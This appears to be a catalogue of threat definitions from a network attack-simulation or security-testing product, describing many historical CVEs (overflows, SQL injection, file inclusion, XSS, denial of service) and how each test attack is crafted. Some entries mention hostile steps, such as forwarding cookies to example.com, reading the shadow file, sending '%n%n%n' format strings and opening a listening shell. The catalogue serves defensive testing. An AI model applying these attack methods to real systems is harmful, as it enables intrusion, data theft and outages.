Detailed Description:	There exists a buffer overflow vulnerability in multiple CA products. The problem specifically exists within DBASVR.exe, the Backup Agent RPC Server. The vulnerability is due to failing to bound check user supplied data in certain RPC requests. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted RPC request to the affected interface. Successful exploitation would may lead to arbitrary code injection and execution with the privileges of the server process, typically System.
Protocol Type:	DCE-RPC
CVEID:	CVE-2007-5329
Threat Package:	Standard
Threat File Name:	rspa_rfi.xml
Executive Description:	Really Simple PHP and Ajax (RSPA) 2007-03-23 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. RSPA is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160429-13_SolarWinds_SRM_Profiler_FileActionAssignmentServlet_assignedNames_SQL_Injection_IPv6.xml
Executive Description:	SolarWinds SRM Profiler FileActionAssignmentServlet assignedNames SQL Injection (IPv6 Version)

Detailed Description:	An SQL injection vulnerability has been reported in the SolarWinds Storage Manager Resource Monitor, Profiler Module. This vulnerability is due to insufficient validation of the assignedNames parameter in HTTP requests sent to the FileActionAssignmentServlet servlet. A remote, authenticated attacker could exploit this vulnerability by sending a web request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of SYSTEM.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4350
Threat File Name:	phpcommunitycalendar_sqli_d_IPv6.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via elAdmin.php's AdminUserID parameter. phpCommunityCalendar is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2797
Threat Package:	Standard
Threat File Name:	awstatsXSS_IPv6.xml
Executive Description:	AWStats Referer XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with the referrer field containing a double quote ". This double quote is escaped in C fashion when displayed on page, allowing an event handle to be created inside of the hyperlink. This threat will specifically attempt to forward cookie information to example.com. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	badblue_passthru_bof.xml
Executive Description:	BadBlue PassThru buffer-overflow Vulnerability
Detailed Description:	This threat demonstrates a buffer overflow flaw in the BadBlue server for Windows. When the PassThru command of ext.dll is invoked with a over 4096 byte long URI. BadBlue is a web server that listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090609-19_Microsoft_Office_Excel_Malformed_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Malformed Record Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel products. The vulnerability is due to an array-indexing error when processing certain records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0558
Threat Package:	Standard
Threat File Name:	akarru_rfi_IPv6.xml
Executive Description:	Akarru v0.4.3.34 - Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Akarru is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4645
OSVDB:	28566
Threat Package:	Standard
Threat File Name:	TSL20130725-10_HP_LoadRunner_lrFileIOService_ActiveX_Control_Input_Validation_Error_IPv6.xml
Executive Description:	HP LoadRunner lrFileIOService ActiveX Control Input Validation Error [IPv6, Version]
Detailed Description:	An input validation error exists in HP LoadRunner. The vulnerability is due to insufficient input validation of the WriteFileBinary() function parameters in the lrFileIOService ActiveX Control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	IPv6, HTTPS,HTTP
CVEID:	CVE-2013-2370
OSVDB:	95640
Threat File Name:	realplayer_parsewallclock_bof_IPv6.xml
Executive Description:	RealPlayer/HelixPlayer ParseWallClockValue Function Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses an overly long value in a web page to cause a buffer overflow in the wallclock functionality (SmilTimeValue:parseWallClockValue function) in RealNetworks RealPlayer and HelixPlayer 10.5-GOLD. This threat is delivered via http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3410
Threat Package:	Standard
Threat File Name:	TSL20160929-02_ISC_BIND_buffer_c_Assertion_Failure_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND buffer.c Assertion Failure Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause named to exit with an assertion failure in buffer.c while constructing a response to a crafted query. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted query to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS, IPv6
CVEID:	CVE-2016-2776
Threat File Name:	TSL20150521-06_Google_Chrome_blink_buildShadowAndInstanceTree_Use_After_Free.xml

Executive Description:	Google Chrome blink buildShadowAndInstanceTree Use After Free
Detailed Description:	A use-after-free vulnerability exists in Google Chrome, blink component. The vulnerability is due to error when building a shadow tree for a <use> element with a direct reference to a disallowed element. A remote attacker could exploit this vulnerability by enticing a user to open a malicious webpage. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1256
OSVDB:	122293
Threat File Name:	TSL20110621-08_Mozilla_Multiple_Products_Array_reduceRight_Integer_Overflow_IPv6.xml
Executive Description:	Mozilla Multiple Products Array.reduceRight Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability has been identified in Mozilla applications. The vulnerability is due to an integer overflow occurring when the reduceRight() method is called on a JavaScript array with an extremely large length. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page or file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged-on user. In case of a successful attack, the behaviour of the target depends on the intention of the malicious code. If an attack leveraging these vulnerabilities fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP
CVEID:	CVE-2011-2371
Threat File Name:	FSC20040713-03_Microsoft_Windows_Shell_Vulnerability.xml
Executive Description:	Microsoft Windows Shell Vulnerability
Detailed Description:	There exists a vulnerability in the Microsoft Windows Shell pertaining to the method of launching applications. By using a specially crafted file name, an attacker can mask the file-type of a file. The attacker can then entice a user to open a file which appears to be innocuous, but which results in the remote execution of code.
Protocol Type:	HTTP
CVEID:	CVE-2004-0420
Threat Package:	Standard
Threat File Name:	nivisec_b_rfi.xml
Executive Description:	Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Nivisec is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5223
Threat Package:	Standard
Threat File Name:	FSC20040715-01_Microsoft_Windows_Task_Scheduler_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Task Scheduler Buffer Overflow
Detailed Description:	There exists a vulnerability within the Microsoft Windows Task Scheduler program pertaining to the parsing of job schedule files. By supplying a specially crafted .job file, an attacker could overwrite a fix-sized buffer and gain control of the process. The attacker must entice a victim to access a malicious .job file in order to exploit this vulnerability.
Protocol Type:	HTTP
CVEID:	CVE-2004-0212
Threat Package:	Standard
Threat File Name:	precisionID_activex_fileoverwrite_IPv6.xml
Executive Description:	PrecisionID Barcode PrecisionID_Barcode.DLL ActiveX Control Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the PrecisionID ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	apache_mod_rewrite_IPv6.xml
Executive Description:	Apache Mod_Rewrite Off-By-One (IPv6 Version)
Detailed Description:	This threat causes an off-by-one error in the mod_rewrite module of apache. This allows an attacker to run arbitrary code on some hardware platforms. Apache is a webserver that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3747
OSVDB:	27588
Threat Package:	Standard
Threat File Name:	opera_bittorrent_dos.xml
Executive Description:	Opera 9.2 torrent file remote denial of service vulnerability
Detailed Description:	This threat uses a specially crafted bittorrent file cause a denial of service condition in Opera Web browser. Opera is a web browser that typically connects to http servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2274
Threat Package:	Standard
Threat File Name:	pop_format_IPv6.xml
Executive Description:	POP Format String Attack (IPv6 Version)
Detailed Description:	This generic threat sends a format string attack against an POP server. A format string attack attempts to crash the service by causing the service to write to out of bounds memory by sending the format string %n%n%n. (IPv6 Version)
Protocol Type:	POP3/IPv6
Threat Package:	Standard
Threat File Name:	lupper4.xml
Executive Description:	Lupper Worm 4
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793

Threat Package:	Standard
Threat File Name:	qt_movie_std_IPv6.xml
Executive Description:	Quicktime STSD Heap Overflow (IPv6 Version)
Detailed Description:	This threat causes corruption in the heap of the Apple Quicktime player. This is performed by adjusting a size field in the file. This threat is movie file and typically comes from a malicious web server over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4092
OSVDB:	21941
Threat Package:	Standard
Threat File Name:	cyberfolio_rfi.xml
Executive Description:	Cyberfolio <=2.0 RC1 \$av Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Cyberfolio is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5768
Threat Package:	Standard
Threat File Name:	phpmychat_cmi_IPv6.xml
Executive Description:	PHPMyChat 0.14.5 MessagesL.PHP3 Command Injection / SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL statement which when executed by the server allows the injection of PHP code which will also be executed by the server when the inserted record is displayed. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130131-07_Novell_GroupWise_Client_ActiveX_gwabdlg_dll_Untrusted_Pointer_Dereference.xml
Executive Description:	Novell GroupWise Client ActiveX gwabdlg.dll Untrusted Pointer Dereference
Detailed Description:	An untrusted pointer dereference vulnerability exists in the InvokeContact() and GenerateSummaryPage() functions in the gwabdlg.dll component of Novell GroupWise Client for Windows. These functions can be called using an ActiveX control. This vulnerability can be exploited by remote attackers by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0804
OSVDB:	89699
Threat File Name:	FSC20070413-01_Microsoft_Windows_DNS_Server_RPC_Management_Interface_Buffer_Overflow.xml
Executive Description:	Microsoft Windows DNS Server RPC Management Interface Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Microsoft Windows Domain Name System (DNS) Server services. The vulnerability is caused by a boundary error while handling specially crafted Remote Procedure Call (RPC) requests. Successful exploitation of the vulnerability could allow for arbitrary code injection and execution in the security context of the affected RPC Server service, commonly System.
Protocol Type:	POLESTAR
CVEID:	CVE-2007-1748
Threat Package:	Standard
Threat File Name:	FSC20060509-16_Novell_NetWare_Distributed_Print_Services_Integer_Overflow_IPv6.xml
Executive Description:	Novell Distributed Print Services Integer Overflow (IPv6 Version)
Detailed Description:	There exists an integer overflow vulnerability in Novell Distributed Print Services module in multiple Novell products. The vulnerability is caused due to lack of proper boundary checks prior to the calculation of the size of a memory buffer. An unauthenticated attacker may exploit this vulnerability to inject and execute arbitrary code in the context of the vulnerable application, Super User in the Netware systems. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-2327
Threat Package:	Standard
Threat File Name:	MailCarrier_HELO_IPv6.xml
Executive Description:	MailCarrier HELO Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the MailCarrier application. This is done by specifying a long option after the HELO verb. This threat will attempt to create a listening shell on port 101. MailCarrier is an SMTP server, and typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2004-1638
OSVDB:	11174
Threat Package:	Standard
Threat File Name:	lupper6_IPv6.xml
Executive Description:	Lupper Worm 6 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20130619-13_Oracle_Java_SE_XML_Digital_Signature_Spoofing.xml
Executive Description:	Oracle Java SE XML Digital Signature Spoofing

Detailed Description:	A spoofing vulnerability has been reported in Oracle Java SE. The vulnerability is due to improper use of Canonicalization algorithm while validating the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-2461
OSVDB:	94350
Threat File Name:	FSC20041020-01_Microsoft_Windows_NetDDE_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows NetDDE Buffer Overflow (IPv6 Version)
Detailed Description:	Microsoft Windows is prone to a vulnerability in the NetDDE service, which provides a network connection mechanism for data exchange between applications. A specially crafted message with an overly long NetDDE share name can overflow a stack buffer, due to insufficient boundary check. A successful exploitation attempt could lead to the execution of arbitrary code with system level privileges. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2004-0206
Threat Package:	Standard
Threat File Name:	hpqutil_activex_heapoverflow.xml
Executive Description:	ActiveX hpqutil!ListFiles hpqutil.dll - Remote heap overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Multiple HP products (HPQUTIL.DLL) ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4916
Threat Package:	Standard
Threat File Name:	TSL20150202-02_Adobe_Flash_Player_DomainMemory_Clear_Use_After_Free.xml
Executive Description:	Adobe Flash Player DomainMemory Clear Use After Free.
Detailed Description:	A use after free vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an issue with Worker objects clearing domain memory. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2015-0313
OSVDB:	117853
Threat File Name:	sambar_dos_IPv6.xml
Executive Description:	Sambar Webserver cgitest.exe Buffer Overflow (IPv6 Version)
Detailed Description:	This threat calls a vulnerable CGI program packaged with the Sambar webserver. This threat affects a component of a webserver, which would typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0128
OSVDB:	34
Threat Package:	Standard
Threat File Name:	warftp_user_bof.xml
Executive Description:	WarFTP 1.65 (USER) Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a maliciously crafted USER string to leverage a stack overflow vulnerability in WarFTP 1.65 that will lead to execution of code on the effected server. WarFTP is FTP server software that typically listens on tcp port 21.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	quicktime_heapoverflow_IPv6.xml
Executive Description:	Apple QuickTime FLIC File Heap Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a web server to deliver a malicious FLIC media file that leverages a heap overflow Vulnerability in Apple QuickTime Media players allowing for a denial of service condition or code injection. Quicktime is a media application and typically runs on systems running Apple Macintosh and Microsoft Windows Operating Systems. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4384
Threat Package:	Standard
Threat File Name:	TSL20130312-13_Microsoft_Internet_Explorer_removeChild_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer removeChild Use After Free(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when running script code calling the removeChild method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0094
OSVDB:	91145
Threat File Name:	xcpphonehome_IPv6.xml
Executive Description:	Sony XCP Rootkit Phone Home (IPv6 Version)
Detailed Description:	This threat makes a HTTP request (normally to http://connected.sonymusic.com) for information about a CD in the same way that the Sony / First4Internet XCP copy protection rootkit does. Seeing this query indicates that a system has been infected with the rootkit. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3474
OSVDB:	20435
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-PUT-_PrependHTTPwithformatn_IPv6.xml
Executive Description:	Fuzz HTTP PUT with Request-URI prepended with %n (IPv6 Version)

Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20070508-11_Microsoft_Exchange_Server_MIME_Base64_Decoding_Code_Execution_Vulnerability.xml
Executive Description:	Microsoft Exchange Server MIME Base64 Decoding Code Execution Vulnerability
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Exchange Server handles email messages. The vulnerability is a result of insufficient boundary checking when processing MIME content inside email messages. An attacker can exploit this vulnerability for code execution by sending a specially crafted email to an account on the target server. Any code injected using this vulnerability would be executed in the System security context.
Protocol Type:	SMTP
CVEID:	CVE-2007-0213
Threat Package:	Standard
Threat File Name:	javamail_IPv6.xml
Executive Description:	Javamail Arbitrary File Download (IPv6 Version)
Detailed Description:	This threat attempts to download the shadow file off of a vulnerable Javamail installation. Javamail is a web mail client API which will typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1682
OSVDB:	16812
Threat Package:	Standard
Threat File Name:	FSC20071211-09_Microsoft_DirectX_SAMI_File_Parsing_Code_Execution.xml
Executive Description:	Microsoft DirectX SAMI File Parsing Code Execution
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way certain DirectX libraries handle specially crafted Synchronized Accessible Media Interchange (SAMI) file type. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted SAMI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3901
Threat Package:	Standard
Threat File Name:	TSL20110614-37_Microsoft_Internet_Explorer_VML_vgx_dll_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer VML vgx.dll Use After Free
Detailed Description:	A memory corruption vulnerability exists in the Microsoft Vector Markup Language dynamic link library vgx.dll. The vulnerability is due to improper handling of VML objects in HTML documents. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page using Internet Explorer, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1266
Threat File Name:	FSC20060418-07_Mozilla_Firefox_Tag_Order_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox Tag Order Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the Mozilla Firefox web browser. The vulnerable application incorrectly parses a series of crafted HTML tags, resulting in memory corruption. A malicious attacker can exploit this vulnerability by enticing a user to open a specially crafted web page, which may result in the injection and execution of arbitrary code on the target host. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0749
Threat Package:	Standard
Threat File Name:	nomoketos_rfi_IPv6.xml
Executive Description:	phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. NoMoKeTos is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1106
Threat Package:	Standard
Threat File Name:	malformedVersionIP.xml
Executive Description:	Malformed Random IP Packet Version
Detailed Description:	This threat sends an IP packet with a random version field. Can cause poorly implemented TCP/IP stacks to fail.
Protocol Type:	IP
CVEID:	CVE-2004-1432
OSVDB:	8149
Threat Package:	Standard
Threat File Name:	broadcast_email_sql_i_IPv6.xml
Executive Description:	1-2-All Broadcast E-mail /admin/index.php Username Field SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. 1-2-All Broadcast E-mail is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3679
OSVDB:	20949
Threat File Name:	FSC20090512-09_Microsoft_Office_PowerPoint_Legacy_Format_Schemes_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint Legacy Format Schemes Record Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to a boundary error when processing crafted legacy PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted legacy PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0226
Threat Package:	Standard
Threat File Name:	FSC20040518-02_Symantec_DNS_Response_DoS.xml
Executive Description:	Symantec DNS Response DoS
Detailed Description:	There is a denial of service vulnerability within multiple Symantec client security products. An attacker can craft a DNS packet that can cause the Symantec security products to enter an infinite loop, allowing an attacker to disable all access to the host running the vulnerable product.
Protocol Type:	DNS
CVEID:	CVE-2004-0445
Threat Package:	Standard
Threat File Name:	fuzz-HSRP_State.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:State
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	FSC20040715-01_Microsoft_Windows_Task_Scheduler_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Task Scheduler Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a vulnerability within the Microsoft Windows Task Scheduler program pertaining to the parsing of job schedule files. By supplying a specially crafted .job file, an attacker could overwrite a fix-sized buffer and gain control of the process. The attacker must entice a victim to access a malicious .job file in order to exploit this vulnerability. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0212
Threat Package:	Standard
Threat File Name:	firefoxContentWindow_IPv6.xml
Executive Description:	Firefox ContentWindow Null Pointer (IPv6 Version)
Detailed Description:	This threat causes a crash Mozilla Firefox by displaying a malicious web page. This is caused by referencing a deleted element with design mode enabled. This threat comes from the virtual server in the form of a malicious web page. Web servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1993
Threat Package:	Standard
Threat File Name:	FSC20070515-22_Samba_LSA_RPC_lsa_io_trans_names_Request_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Samba LSA RPC lsa_io_trans_names Request Handling Heap Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote authenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the LSA RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	dameware_bof.xml
Executive Description:	Dameware Mini Remote Control Server Overflow
Detailed Description:	This threat causes a buffer overflow in the Dameware Remote Control software. By sending a crafted attack, a user can gain control of the system. Dameware Mini Remote Control Client typically listens on port 6129.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2842
OSVDB:	19119
Threat Package:	Standard
Threat File Name:	wizzforum_sql3.xml
Executive Description:	Wizz Forum SQL Injection vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3682
OSVDB:	20847
Threat Package:	Standard
Threat File Name:	TSL20161108-37_Microsoft_Windows_OpenType_Font_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows OpenType Font Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows font library. The vulnerability is due to improper processing of OpenType fonts. A remote attackers can exploit this vulnerability by convincing a user to open a specially crafted document, or visit a crafted webpage. Successful exploitation could result in arbitrary code execution under the security context of the system.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, IPv6
CVEID:	CVE-2016-7256
Threat File Name:	TSL20130129-01_Ruby_on_Rails_JSON_Processor_YAML_Deserialization_Code_Execution.xml
Executive Description:	Ruby on Rails JSON Processor YAML Deserialization Code Execution

Detailed Description:	A code execution vulnerability has been reported in Ruby on Rails. The vulnerability is due to an input validation error when JSON Processor deserializes YAML. A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code within the context of the underlying web server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0333
OSVDB:	89594
Threat File Name:	GCALDaemon_dos_IPv6.xml
Executive Description:	GCALDaemon <= 1.0-beta13 Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large integer value in the Content-Length HTTP header, which triggers denial of service in GCALDaemon. GCALDaemon is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4980
Threat Package:	Standard
Threat File Name:	nvp_backdoor.xml
Executive Description:	IP Protocol 11
Detailed Description:	This threat sends out packets with the IP protocol set to 11. This can signify possible backdoor traffic with a rarely used IP protocol value.
Protocol Type:	IP
Threat Package:	Standard
Threat File Name:	FSC20040308-01_HTTP_Response_Splitting.xml
Executive Description:	HTTP Response Splitting
Detailed Description:	A technique has been disclosed permitting attack upon web clients via web-based applications and web caches. This technique is known as "HTTP response splitting." This vulnerability affects a wide variety of systems and software using the HTTP protocol, including most of the most widely deployed Web server software products.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ICMPsourceQuench_IPv6.xml
Executive Description:	ICMP Source Quench Denial of Service (IPv6 Version)
Detailed Description:	This exploit sends spoofed ICMP Quench Packets from known, user specified gateways on the hosts routing table. ICMP quench packets are informational messages sent to hosts by gateway devices as the result of network issues, system resources running low, or an ongoing DoS attack in order to advise the host to limit the packet load and/or find alternate sources. The result of this exploit will slow the network traffic. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2005-0068
OSVDB:	15623
Threat Package:	Standard
Threat File Name:	maxdbAuthorizeHTTP.xml
Executive Description:	MySQL MaxDB HTTP Authorize Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in processing the Authorization header of an HTTP GET request. This can allow an attacker to cause a crash or overwrite elements in the program allowing code execution. This application uses HTTP as its transfer protocol and typically listens on port 80 or port 9999.
Protocol Type:	HTTP
CVEID:	CVE-2005-0111
OSVDB:	12919
Threat Package:	Standard
Threat File Name:	FSC20040319-01_ISS_ICQ_parsing_vulnerability.xml
Executive Description:	ISS ICQ parsing vulnerability
Detailed Description:	There is a vulnerability within several ISS security products, including BlackICE, RealSecure, and Proventia, in the way they parse the ICQ messaging protocol. An attacker, exploiting this vulnerability, can cause a buffer overflow, resulting in the termination of a service or execution of arbitrary code.
Protocol Type:	
CVEID:	CVE-2004-0362
Threat Package:	Standard
Threat File Name:	TSL20140328-07_Symantec_LiveUpdate_Administrator_Security_Bypass.xml
Executive Description:	Symantec LiveUpdate Administrator Security Bypass
Detailed Description:	A security policy bypass vulnerability exists in Symantec LiveUpdate Administrator. The vulnerability is due to a failure to validate temporary passwords when processing a user account password reset. This can result in an arbitrary password reset. A remote unauthenticated attacker could exploit this vulnerability by sending a malicious request to forcepasswd.do, providing a LiveUpdate Administrator victim email, and a new password, effectively setting the victim user password to any arbitrary value. Successful exploitation could lead to security policy bypass and access to sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-1644
OSVDB:	105090
Threat File Name:	acftpd_bof.xml
Executive Description:	acFTPD FTP Server USER command buffer overflow
Detailed Description:	This threat send a crafted FTP USER command during the login process which triggers a buffer overflow condition. acFTP Server is an FTP server which typically listens on port 21.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	TSL20150529-01_Wavelink_Emulation_License_Server_HTTP_Header_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Wavelink Emulation License Server HTTP Header Processing Buffer Overflow IPv6 version.

Detailed Description:	A buffer overflow vulnerability exists in Wavelink Emulation License Server. The vulnerability is due to a boundary error when parsing HTTP headers. By sending crafted requests to a vulnerable server, a remote unauthenticated attacker can possibly exploit this vulnerability to execute arbitrary code in the security context of the System user. Tester should set variable \$destPort to 4420 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-4059
Threat File Name:	antvilleXSS.xml
Executive Description:	Antville URL XSS injection
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing Javascript pop-up, the script is inserted into the page with no checking. Antville is a web application that typically listens on port 80.
Protocol Type:	HTTP
